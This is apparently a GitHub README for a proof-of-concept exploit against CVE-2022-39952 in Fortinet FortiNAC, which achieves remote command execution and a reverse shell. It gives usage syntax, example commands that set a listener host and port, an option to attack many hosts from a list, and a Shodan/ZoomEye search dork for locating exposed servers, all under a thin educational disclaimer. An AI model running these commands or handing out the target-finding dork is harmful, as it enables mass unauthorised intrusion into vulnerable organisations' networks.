dkstar11q/cve-2022-39952-betterProof-of-concept exploit for CVE-2022-39952 targeting Fortinet FortiNAC, enabling remote command execution and reverse shell on vulnerable servers.
This exploit allows an attacker to execute arbitrary commands on the FortiNAC server. It is based on the PoC developed by horizon3ai, with additional options for targeting multiple hosts.
Disclaimer: This exploit is for educational purposes only. Please use responsibly and with permission.
usage: exploit.py [-h] [-t TARGET] [-l LIST] [-lh LHOST] [-lp LPORT]
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
The IP address of the target
-l LIST, --list LIST List of targets
-lh LHOST, --lhost LHOST
The local host for the reverse shell
-lp LPORT, --lport LPORT
The local port for the reverse shell
To use this exploit, you must have Python 3.x installed on your system.
Python 3.x
requests module
concurrent.futures module
$ python exploit.py -t 192.168.1.100 -lh 192.168.1.10 -lp 4444
$ python exploit.py -t 192.168.1.100
$ python exploit.py -l targets.txt
This exploit has only been tested on a limited number of targets, so its effectiveness may vary. The dork for finding potential targets on ZoomEye and Shodan is:
title:"FortiNAC" +"JSESSIONID"